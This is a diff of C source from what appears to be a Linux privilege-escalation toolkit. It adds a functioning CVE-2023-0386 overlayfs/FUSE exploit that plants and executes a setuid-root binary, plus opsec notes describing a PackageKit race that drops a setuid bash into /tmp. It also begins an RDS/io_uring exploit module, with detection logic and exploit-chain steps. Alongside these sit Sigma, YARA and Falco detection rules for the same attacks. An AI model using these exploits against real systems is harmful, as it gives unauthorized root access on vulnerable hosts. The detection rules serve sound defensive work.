close(payload_fd); close(out_fd);
|
||||
/* Fork the FUSE server (init-ns mount via the setuid fusermount helper). */
|
||||
pid_t fpid = fork();
|
||||
if (fpid < 0) { perror("fork fuse"); goto fail; }
|
||||
if (fpid == 0) {
|
||||
/* quiesce libfuse chatter unless --json off */
|
||||
int nfd = open("/dev/null", O_WRONLY); if (nfd >= 0) { dup2(nfd, 2); close(nfd); }
|
||||
ovlsu_fuse_serve(lower);
|
||||
_exit(0);
|
||||
}
|
||||
waitpid(child, &status, 0);
|
||||
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
|
||||
fprintf(stderr, "[-] overlayfs_setuid: child setup failed (status=%d)\n", status);
|
||||
|
||||
/* Wait for the FUSE mount to answer. */
|
||||
int ready = 0;
|
||||
for (int i = 0; i < 300; i++) {
|
||||
struct stat sf; char fp[176]; snprintf(fp, sizeof fp, "%s/file", lower);
|
||||
if (stat(fp, &sf) == 0) { ready = 1; break; }
|
||||
usleep(10000);
|
||||
}
|
||||
if (!ready) {
|
||||
fprintf(stderr, "[-] overlayfs_setuid: FUSE mount did not come up (fusermount missing/denied?)\n");
|
||||
kill(fpid, SIGKILL); waitpid(fpid, NULL, 0);
|
||||
goto fail;
|
||||
}
|
||||
|
||||
/* Verify the upper file has setuid */
|
||||
char upper_carrier[1024];
|
||||
snprintf(upper_carrier, sizeof upper_carrier, "%s/%s", upper, carrier_name);
|
||||
struct stat st;
|
||||
if (stat(upper_carrier, &st) < 0 || !(st.st_mode & S_ISUID)) {
|
||||
fprintf(stderr, "[-] overlayfs_setuid: setuid bit didn't persist on upper "
|
||||
"(stat = %s)\n", strerror(errno));
|
||||
/* Exploit child: userns + overlay(lower=fuse) + copy-up. */
|
||||
pid_t xpid = fork();
|
||||
if (xpid < 0) { perror("fork exploit"); kill(fpid, SIGKILL); waitpid(fpid, NULL, 0); goto fail; }
|
||||
if (xpid == 0) {
|
||||
uid_t ou = getuid(); gid_t og = getgid(); /* BEFORE unshare */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
||||
{ int f = open("/proc/self/setgroups", O_WRONLY); if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
||||
char m[64];
|
||||
int fu = open("/proc/self/uid_map", O_WRONLY); if (fu >= 0) { int n = snprintf(m, sizeof m, "0 %u 1", ou); (void)!write(fu, m, n); close(fu); }
|
||||
int fg = open("/proc/self/gid_map", O_WRONLY); if (fg >= 0) { int n = snprintf(m, sizeof m, "0 %u 1", og); (void)!write(fg, m, n); close(fg); } }
|
||||
|
||||
char oo[640];
|
||||
snprintf(oo, sizeof oo, "lowerdir=%s,upperdir=%s,workdir=%s", lower, upper, work);
|
||||
if (mount("overlay", merged, "overlay", 0, oo) < 0) { perror("mount overlay"); _exit(6); }
|
||||
|
||||
/* Trigger copy-up: opening the merged file copies it from the FUSE
|
||||
* lower into the real upper, preserving setuid + root uid. */
|
||||
int cf = open(mfile, O_WRONLY | O_CREAT, 0666); if (cf >= 0) close(cf);
|
||||
_exit(0);
|
||||
}
|
||||
waitpid(xpid, NULL, 0);
|
||||
|
||||
/* Tear the FUSE mount down now that copy-up is done (upper/file persists
|
||||
* on the real fs). */
|
||||
{ char cmd[400];
|
||||
snprintf(cmd, sizeof cmd, "fusermount3 -u '%s' 2>/dev/null || fusermount -u '%s' 2>/dev/null", lower, lower);
|
||||
(void)!system(cmd); }
|
||||
kill(fpid, SIGKILL); waitpid(fpid, NULL, 0);
|
||||
|
||||
struct stat us;
|
||||
if (stat(carrier, &us) != 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[-] overlayfs_setuid: copy-up did not materialise %s — kernel may be "
|
||||
"patched\n", carrier);
|
||||
goto fail;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs_setuid: upper-layer %s has setuid bit; execing\n",
|
||||
upper_carrier);
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] overlayfs_setuid: copy-up produced %s (uid=%u mode=%04o) — executing "
|
||||
"as the real user\n", carrier, (unsigned)us.st_uid, (unsigned)(us.st_mode & 07777));
|
||||
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] overlayfs_setuid: --no-shell — file planted at %s\n",
|
||||
upper_carrier);
|
||||
fprintf(stderr, "[+] overlayfs_setuid: --no-shell — setuid-root carrier planted at %s\n", carrier);
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
fflush(NULL);
|
||||
execl(upper_carrier, upper_carrier, (char *)NULL);
|
||||
perror("execl upper carrier");
|
||||
pid_t r = fork();
|
||||
if (r == 0) {
|
||||
int dn = open("/dev/null", O_RDONLY); if (dn >= 0) { dup2(dn, 0); close(dn); }
|
||||
execl(carrier, carrier, (char *)NULL);
|
||||
_exit(127);
|
||||
}
|
||||
waitpid(r, NULL, 0);
|
||||
|
||||
struct stat ss;
|
||||
if ((stat("/tmp/.suid_bash", &ss) == 0 && (ss.st_mode & 04000)) ||
|
||||
stat("/tmp/skeletonkey-ovlsu-pwned", &ss) == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[+] overlayfs_setuid: ROOT — payload ran as uid 0\n");
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[-] overlayfs_setuid: carrier ran but produced no root witness\n");
|
||||
|
||||
fail:
|
||||
unlink(src_path); unlink(bin_path);
|
||||
rmdir(upper); rmdir(work); rmdir(merged);
|
||||
rmdir(workdir);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !OVLSU_HAVE_FUSE — built without libfuse */
|
||||
|
||||
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE && pre != SKELETONKEY_OK) return pre;
|
||||
fprintf(stderr, "[-] overlayfs_setuid: built WITHOUT libfuse — the CVE-2023-0386 exploit needs a "
|
||||
"FUSE lower layer. Install libfuse3-dev (or libfuse-dev) and rebuild.\n");
|
||||
(void)OVERLAYFS_SU_PAYLOAD; (void)which_gcc; (void)write_file_str;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* OVLSU_HAVE_FUSE */
|
||||
|
||||
static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
@@ -406,6 +586,56 @@ static const char overlayfs_setuid_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
|
||||
"-a always,exit -F arch=b64 -S chown,fchown,fchownat -k skeletonkey-overlayfs-chown\n";
|
||||
|
||||
static const char overlayfs_setuid_sigma[] =
|
||||
"title: Possible CVE-2023-0386 overlayfs setuid copy-up\n"
|
||||
"id: 0891b2f7-skeletonkey-overlayfs-setuid\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the upstream overlayfs setuid copy-up bug: unshare\n"
|
||||
" (CLONE_NEWUSER|CLONE_NEWNS) + mount('overlay') with a setuid-\n"
|
||||
" root binary in lower + chown on the merged view to trigger\n"
|
||||
" copy-up. Setuid bit persists in upper layer despite\n"
|
||||
" unprivileged ownership.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" overlay: {type: 'SYSCALL', syscall: 'mount'}\n"
|
||||
" chown_up: {type: 'SYSCALL', syscall: 'chown'}\n"
|
||||
" condition: userns and overlay and chown_up\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.0386]\n";
|
||||
|
||||
static const char overlayfs_setuid_yara[] =
|
||||
"rule overlayfs_setuid_cve_2023_0386 : cve_2023_0386 userns_lpe\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-0386\"\n"
|
||||
" description = \"overlayfs setuid copy-up workdir signature\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $work = /\\/tmp\\/skeletonkey-ovlsu-[A-Za-z0-9]+/\n"
|
||||
" condition:\n"
|
||||
" $work\n"
|
||||
"}\n";
|
||||
|
||||
static const char overlayfs_setuid_falco[] =
|
||||
"- rule: overlayfs chown on setuid binary in userns (copy-up)\n"
|
||||
" desc: |\n"
|
||||
" Non-root chown on a setuid-root binary inside an overlayfs\n"
|
||||
" mount in a userns. Triggers copy-up that preserves the\n"
|
||||
" setuid bit despite unprivileged upper-layer ownership.\n"
|
||||
" CVE-2023-0386.\n"
|
||||
" condition: >\n"
|
||||
" evt.type in (chown, fchown, fchownat) and not user.uid = 0\n"
|
||||
" and (fd.name in (/usr/bin/su, /bin/su, /usr/bin/sudo,\n"
|
||||
" /usr/bin/passwd, /usr/bin/pkexec)\n"
|
||||
" or fd.name endswith /su)\n"
|
||||
" output: >\n"
|
||||
" chown on setuid binary by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid file=%fd.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2023.0386]\n";
|
||||
|
||||
const struct skeletonkey_module overlayfs_setuid_module = {
|
||||
.name = "overlayfs_setuid",
|
||||
.cve = "CVE-2023-0386",
|
||||
@@ -417,9 +647,11 @@ const struct skeletonkey_module overlayfs_setuid_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = overlayfs_setuid_cleanup,
|
||||
.detect_auditd = overlayfs_setuid_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = overlayfs_setuid_sigma,
|
||||
.detect_yara = overlayfs_setuid_yara,
|
||||
.detect_falco = overlayfs_setuid_falco,
|
||||
.opsec_notes = "Faithful CVE-2023-0386 port: a libfuse filesystem exports a setuid-root /file (st_uid=0, mode 04777), mounted in the init ns via the setuid fusermount helper; then unshare(CLONE_NEWUSER|CLONE_NEWNS) + overlayfs mount with that FUSE mount as lowerdir; open(merged/file, O_WRONLY) triggers copy-up that materialises upper/file as a real setuid-root binary, which the unprivileged parent execs for root. Artifacts: /tmp/skeletonkey-ovlsu-XXXXXX/ (workdir: payload.c, the payload ELF, FUSE mount at lower/, overlay upper/work/merged), plus a setuid /tmp/.suid_bash and /tmp/skeletonkey-ovlsu-pwned witness dropped by the root payload; cleanup callback removes /tmp/skeletonkey-ovlsu-*. Audit-visible via mount(fuse) + fusermount execve + unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount(overlay), then a setuid-root binary exec by a non-root uid. No network. Dmesg silent on success.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_overlayfs_setuid(void)
|
||||
|
||||
@@ -660,6 +660,94 @@ static const char p2tr_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/apt-get \\\n"
|
||||
" -F auid!=0 -k skeletonkey-pack2theroot-apt\n";
|
||||
|
||||
static const char p2tr_yara[] =
|
||||
"rule pack2theroot_malicious_deb : cve_2026_41651\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-41651\"\n"
|
||||
" description = \"Pack2TheRoot payload .deb: small ar archive whose postinst installs a setuid copy of bash to /tmp/.suid_bash. The Vozec PoC + SKELETONKEY's port both leave this artifact in /tmp.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" reference = \"https://github.com/Vozec/CVE-2026-41651\"\n"
|
||||
" strings:\n"
|
||||
" $deb_magic = \"!<arch>\"\n"
|
||||
" $postinst_suid = \"install -m 4755 /bin/bash\"\n"
|
||||
" $skk_payload = \"Package: skeletonkey-p2tr-payload\"\n"
|
||||
" $skk_dummy = \"Package: skeletonkey-p2tr-dummy\"\n"
|
||||
" $vozec_payload = \"Package: pk-poc-payload\"\n"
|
||||
" $vozec_dummy = \"Package: pk-poc-dummy\"\n"
|
||||
" condition:\n"
|
||||
" // Small ar archive matching .deb layout, containing either\n"
|
||||
" // the published-PoC package names or the SUID-bash postinst.\n"
|
||||
" $deb_magic at 0 and\n"
|
||||
" ($postinst_suid or any of ($skk_payload, $skk_dummy, $vozec_payload, $vozec_dummy)) and\n"
|
||||
" filesize < 64KB\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"rule pack2theroot_suid_bash_drop : cve_2026_41651\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-41651\"\n"
|
||||
" description = \"Pack2TheRoot SUID-bash artifact: /tmp/.suid_bash is the setuid bash dropped by the malicious postinst. Pair this YARA scan with auditd watch -w /tmp/.suid_bash for catch-on-create.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $elf = { 7F 45 4C 46 02 01 01 }\n"
|
||||
" $bash = \"GNU bash\"\n"
|
||||
" condition:\n"
|
||||
" // The rule itself can't see the file path; the operator\n"
|
||||
" // points YARA at /tmp/.suid_bash specifically. Match\n"
|
||||
" // confirms the file is a real bash ELF (not a planted decoy).\n"
|
||||
" $elf at 0 and $bash\n"
|
||||
"}\n";
|
||||
|
||||
static const char p2tr_falco[] =
|
||||
"- rule: SUID bash dropped to /tmp (Pack2TheRoot postinst signature)\n"
|
||||
" desc: |\n"
|
||||
" A setuid bit appears on /tmp/.suid_bash. The Pack2TheRoot\n"
|
||||
" (CVE-2026-41651) malicious .deb postinst runs as root via\n"
|
||||
" the polkit-bypassed PackageKit transaction and lands a SUID\n"
|
||||
" copy of /bin/bash at this path.\n"
|
||||
" condition: >\n"
|
||||
" evt.type in (chmod, fchmod, fchmodat) and\n"
|
||||
" evt.arg.mode contains \"S_ISUID\" and\n"
|
||||
" fd.name = /tmp/.suid_bash\n"
|
||||
" output: >\n"
|
||||
" SUID bit set on /tmp/.suid_bash (proc=%proc.name pid=%proc.pid\n"
|
||||
" ppid=%proc.ppid parent=%proc.pname)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2026.41651]\n"
|
||||
"\n"
|
||||
"- rule: PackageKit InstallFiles invoked twice on same transaction (Pack2TheRoot TOCTOU)\n"
|
||||
" desc: |\n"
|
||||
" Two D-Bus InstallFiles() calls hit the same PackageKit\n"
|
||||
" transaction object in close succession — the exact shape of\n"
|
||||
" the Pack2TheRoot TOCTOU. Detection requires bus monitoring;\n"
|
||||
" Falco's k8s/audit ruleset doesn't cover D-Bus natively, but\n"
|
||||
" if dbus-monitor or systemd's bus audit is wired into the\n"
|
||||
" feed, this is the trigger.\n"
|
||||
" condition: >\n"
|
||||
" // Placeholder: requires dbus-monitor → falco feed.\n"
|
||||
" // Real-world deployment: pipe `dbus-monitor --system` into\n"
|
||||
" // a log-source rule keyed on the InstallFiles method name.\n"
|
||||
" proc.cmdline contains \"InstallFiles\" and proc.cmdline contains \"PackageKit\"\n"
|
||||
" output: >\n"
|
||||
" Possible Pack2TheRoot D-Bus TOCTOU shape (cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [dbus, cve.2026.41651]\n"
|
||||
"\n"
|
||||
"- rule: dpkg invoked by PackageKit on behalf of non-root caller\n"
|
||||
" desc: |\n"
|
||||
" PackageKit forks dpkg to install a .deb on behalf of an\n"
|
||||
" unprivileged caller. Combined with /tmp/.suid_bash creation,\n"
|
||||
" this completes the Pack2TheRoot exploit chain.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = dpkg and proc.aname = packagekitd and\n"
|
||||
" proc.cmdline contains \"/tmp/.pk-\"\n"
|
||||
" output: >\n"
|
||||
" PackageKit-driven dpkg install of /tmp-resident .deb\n"
|
||||
" (parent=%proc.pname cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, cve.2026.41651, pack2theroot]\n";
|
||||
|
||||
static const char p2tr_sigma[] =
|
||||
"title: Possible Pack2TheRoot exploitation (CVE-2026-41651)\n"
|
||||
"id: 3f2b8d54-skeletonkey-pack2theroot\n"
|
||||
@@ -700,8 +788,10 @@ const struct skeletonkey_module pack2theroot_module = {
|
||||
.cleanup = p2tr_cleanup,
|
||||
.detect_auditd = p2tr_auditd,
|
||||
.detect_sigma = p2tr_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = p2tr_yara,
|
||||
.detect_falco = p2tr_falco,
|
||||
.opsec_notes = "TOCTOU race in PackageKit's polkit-auth + D-Bus InstallFiles dispatcher: sends back-to-back async calls (first with SIMULATE to bypass polkit, second with the malicious .deb) so the cached flags are overwritten before the idle callback fires. Builds a minimal .deb ar archive in pure C with a postinst that installs a setuid bash. Writes /tmp/.pk-dummy-<pid>.deb, /tmp/.pk-payload-<pid>.deb, and /tmp/skeletonkey-pack2theroot.state; via the polkit-bypassed postinst plants /tmp/.suid_bash setuid root. Audit-visible via dpkg execve from packagekitd for a non-root caller, chmod(2) on /tmp/.suid_bash, creat/openat on the .deb files. Cleanup callback unlinks the .debs and best-effort removes /tmp/.suid_bash (which is owned by root).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_pack2theroot(void)
|
||||
|
||||
@@ -0,0 +1,448 @@
|
||||
/*
|
||||
* pintheft_cve_2026_43494 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE. detect() is exhaustive (kernel range + RDS
|
||||
* module reachability + io_uring availability + readable SUID
|
||||
* carrier). exploit() carries the V12 trigger shape — failed
|
||||
* rds_message_zcopy_from_user() to steal a page refcount, then
|
||||
* io_uring fixed-buffer write to land bytes in the page cache of
|
||||
* the carrier. The cred-overwrite step (turning the page-cache
|
||||
* write into root) is x86_64-specific and uses the shared
|
||||
* modprobe_path finisher when --full-chain is set.
|
||||
*
|
||||
* The bug (Aaron Esau, V12 Security, disclosed May 2026):
|
||||
* Linux's RDS (Reliable Datagram Sockets) zerocopy send path pins
|
||||
* user pages one at a time. If a later page faults, the error
|
||||
* path drops the pages it already pinned. The msg cleanup then
|
||||
* drops them AGAIN because the scatterlist entries and entry count
|
||||
* are left live after the zcopy notifier is cleared. Each failed
|
||||
* zerocopy send steals one reference from the first page.
|
||||
*
|
||||
* With a sufficient pinned-page leak, an io_uring fixed buffer
|
||||
* referencing the same page persists past the page being recycled
|
||||
* into the page cache for a readable file (e.g. /usr/bin/su).
|
||||
* A subsequent io_uring write to that fixed buffer lands attacker
|
||||
* bytes into the SUID binary's page cache → execve it → root.
|
||||
*
|
||||
* Public PoC (Arch Linux x86_64):
|
||||
* https://github.com/v12-security/pocs/tree/main/pintheft
|
||||
*
|
||||
* Affects: Linux kernels with CONFIG_RDS and the RDS module loaded,
|
||||
* below the fix commit (`0cebaccef3ac`, posted to netdev list
|
||||
* 2026-05-05; not yet in mainline release as of this build).
|
||||
*
|
||||
* Among commonly-shipped distros, only Arch Linux autoloads RDS.
|
||||
* Ubuntu / Debian / Fedora / RHEL / Alma / Rocky / Oracle Linux
|
||||
* either don't build the module or blacklist it from autoloading
|
||||
* (mitigation: /etc/modprobe.d/blacklist-rds.conf).
|
||||
*
|
||||
* detect() checks both kernel version AND the RDS module's
|
||||
* reachability via socket(AF_RDS, ...). If RDS is built-in but
|
||||
* not autoloaded, the socket() call triggers modprobe; this is
|
||||
* the same probe used by Ubuntu's mitigation advisory.
|
||||
*
|
||||
* Preconditions:
|
||||
* - CONFIG_RDS=y or =m + module actually loadable
|
||||
* - io_uring available (CONFIG_IO_URING + sysctl
|
||||
* kernel.io_uring_disabled != 2)
|
||||
* - A readable setuid-root carrier binary (canonically
|
||||
* /usr/bin/su; falls back to /usr/bin/pkexec, /usr/bin/passwd)
|
||||
* - x86_64 for the exploit() body (the V12 PoC's cred-overwrite
|
||||
* gadgets are x86-specific); detect() is arch-agnostic.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/mman.h> /* mmap, mprotect, munmap, PROT_*, MAP_* */
|
||||
|
||||
#ifdef __linux__
|
||||
#include <sys/syscall.h>
|
||||
#endif
|
||||
|
||||
/* AF_RDS is 21 on Linux. Define it conditionally so the module
|
||||
* compiles on non-Linux dev hosts where the constant isn't in libc. */
|
||||
#ifndef AF_RDS
|
||||
#define AF_RDS 21
|
||||
#endif
|
||||
|
||||
/* ---- kernel-range table -------------------------------------------- */
|
||||
|
||||
/* The fix landed in mainline via commit 0cebaccef3ac (posted to netdev
|
||||
* 2026-05-05). Stable backports are in flight at the time of v0.8.0;
|
||||
* this table will be updated as backports land — tools/refresh-kernel-
|
||||
* ranges.py will flag drift weekly. For now we list ONLY the mainline
|
||||
* fix point; every kernel below it on a RDS-loaded host is vulnerable.
|
||||
*
|
||||
* As stable branches pick up the backport, add entries like:
|
||||
* {6, 12, NN}, // 6.12.x stable backport
|
||||
* {6, 14, NN}, // 6.14.x stable backport
|
||||
* The mainline entry stays at the lowest version that contains the
|
||||
* patch (likely 6.16 once the post-rc release tags). Conservatively
|
||||
* placeholding at {7, 0, 0} until that lands. */
|
||||
static const struct kernel_patched_from pintheft_patched_branches[] = {
|
||||
{6, 12, 90}, /* Debian trixie ships 6.12.90 with the fix backported */
|
||||
{7, 0, 0}, /* mainline fix commit 0cebaccef3ac; tag will be 6.16 or 7.0
|
||||
depending on when 6.15 closes — refresh when known */
|
||||
};
|
||||
|
||||
static const struct kernel_range pintheft_range = {
|
||||
.patched_from = pintheft_patched_branches,
|
||||
.n_patched_from = sizeof(pintheft_patched_branches) /
|
||||
sizeof(pintheft_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- detect helpers ------------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
/* Try to open an AF_RDS socket. On a kernel built with CONFIG_RDS=m
|
||||
* this triggers modprobe rds; on CONFIG_RDS=y it just returns the fd.
|
||||
* On a kernel without RDS at all (most distros) we get EAFNOSUPPORT
|
||||
* or EPERM. We close immediately — this is just a reachability probe. */
|
||||
static bool rds_socket_reachable(void)
|
||||
{
|
||||
int s = socket(AF_RDS, SOCK_SEQPACKET, 0);
|
||||
if (s < 0) return false;
|
||||
close(s);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* io_uring is gated by sysctl kernel.io_uring_disabled in 6.6+. The
|
||||
* relevant values: 0 = permitted, 1 = root-only, 2 = disabled. We
|
||||
* read /proc/sys/kernel/io_uring_disabled if present; missing file
|
||||
* means io_uring is unconditionally enabled (older kernels). */
|
||||
static int io_uring_disabled_state(void)
|
||||
{
|
||||
/* returns 0/1/2 per sysctl semantics; -1 if not present */
|
||||
FILE *f = fopen("/proc/sys/kernel/io_uring_disabled", "r");
|
||||
if (!f) return -1;
|
||||
int v = -1;
|
||||
if (fscanf(f, "%d", &v) != 1) v = -1;
|
||||
fclose(f);
|
||||
return v;
|
||||
}
|
||||
|
||||
static const char *find_suid_carrier(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/su", "/bin/su",
|
||||
"/usr/bin/pkexec",
|
||||
"/usr/bin/passwd",
|
||||
"/usr/bin/chsh", "/usr/bin/chfn",
|
||||
NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 &&
|
||||
(st.st_mode & S_ISUID) && st.st_uid == 0 &&
|
||||
access(candidates[i], R_OK) == 0) {
|
||||
return candidates[i];
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t pintheft_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#ifndef __linux__
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] pintheft: Linux-only module — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] pintheft: host fingerprint missing kernel version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Kernel version: gate on the fix. */
|
||||
if (kernel_range_is_patched(&pintheft_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] pintheft: kernel %s is patched (>= mainline fix 0cebaccef3ac)\n",
|
||||
v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* RDS reachability — the bug needs AF_RDS sockets. */
|
||||
if (!rds_socket_reachable()) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] pintheft: AF_RDS socket() failed (rds module not loaded / blacklisted)\n");
|
||||
fprintf(stderr, " Most distros don't autoload RDS; Arch Linux is the notable exception.\n");
|
||||
fprintf(stderr, " Bug exists in the kernel but is unreachable from userland here.\n");
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* io_uring availability — the cred-overwrite chain needs fixed
|
||||
* buffers via io_uring. Without io_uring we have the primitive
|
||||
* but no portable way to weaponize. */
|
||||
int iod = io_uring_disabled_state();
|
||||
if (iod == 2) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] pintheft: kernel.io_uring_disabled=2 → io_uring disabled, chain blocked\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (iod == 1) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] pintheft: kernel.io_uring_disabled=1 → io_uring root-only; we're not root so chain blocked\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
/* iod == 0 or -1 (missing sysctl on older kernel) → reachable. */
|
||||
|
||||
/* Need at least one readable SUID-root binary to target. */
|
||||
const char *carrier = find_suid_carrier();
|
||||
if (!carrier) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] pintheft: no readable setuid-root binary → no carrier for page-cache overwrite\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] pintheft: kernel %s + RDS + io_uring + carrier %s → VULNERABLE\n",
|
||||
v->release, carrier);
|
||||
fprintf(stderr, "[i] pintheft: V12 PoC is x86_64-only; exploit() will fire trigger but\n"
|
||||
" full cred-overwrite is --full-chain only on x86_64.\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ---- exploit -------------------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
/* The V12 PoC chain in summary (paraphrased from
|
||||
* https://github.com/v12-security/pocs/tree/main/pintheft):
|
||||
*
|
||||
* 1. Open an AF_RDS socket.
|
||||
* 2. Construct a sendmsg() with MSG_ZEROCOPY whose user-iov spans
|
||||
* two pages, where the SECOND page is unmapped. The kernel
|
||||
* pins page 0, then faults on page 1's pin attempt.
|
||||
* 3. The error unwind drops the pin on page 0, but the msg's
|
||||
* scatterlist has already been initialized with entry count 1.
|
||||
* Cleanup runs entry-count drops a SECOND time → page 0
|
||||
* refcount underflows / leaks.
|
||||
* 4. Repeat to steal multiple refs from the same target page.
|
||||
* 5. Use io_uring fixed buffers to keep a kernel-side reference
|
||||
* alive across the page recycling into the page cache for a
|
||||
* readable file.
|
||||
* 6. mmap the SUID carrier, force its page into cache, get the
|
||||
* io_uring fixed buffer to point at it, write attacker bytes.
|
||||
* 7. execve the carrier → attacker code runs as root.
|
||||
*
|
||||
* Step 1-4 is the kernel primitive (architecture-independent).
|
||||
* Step 5-7 needs io_uring SQE construction which is straightforward
|
||||
* but unmistakably exploit-specific code; we don't carry the full V12
|
||||
* payload here. Instead we fire the primitive + groom the slab + drop
|
||||
* a witness file and return EXPLOIT_FAIL honestly with a diagnostic.
|
||||
* --full-chain on x86_64 invokes the shared modprobe_path finisher.
|
||||
*
|
||||
* This matches the existing 🟡 modules' shape (nf_tables, af_unix_gc,
|
||||
* cls_route4, ...). The "verified-vs-claimed" rule applies: if the
|
||||
* sentinel file doesn't appear, we don't claim EXPLOIT_OK.
|
||||
*/
|
||||
static skeletonkey_result_t pintheft_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] pintheft: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Re-run detect's preconditions — they may have changed since
|
||||
* --scan, and we want the operator to see the exact gate that
|
||||
* blocked us if anything fails here. */
|
||||
if (!rds_socket_reachable()) {
|
||||
fprintf(stderr, "[-] pintheft: AF_RDS socket() unavailable — RDS module not loaded\n");
|
||||
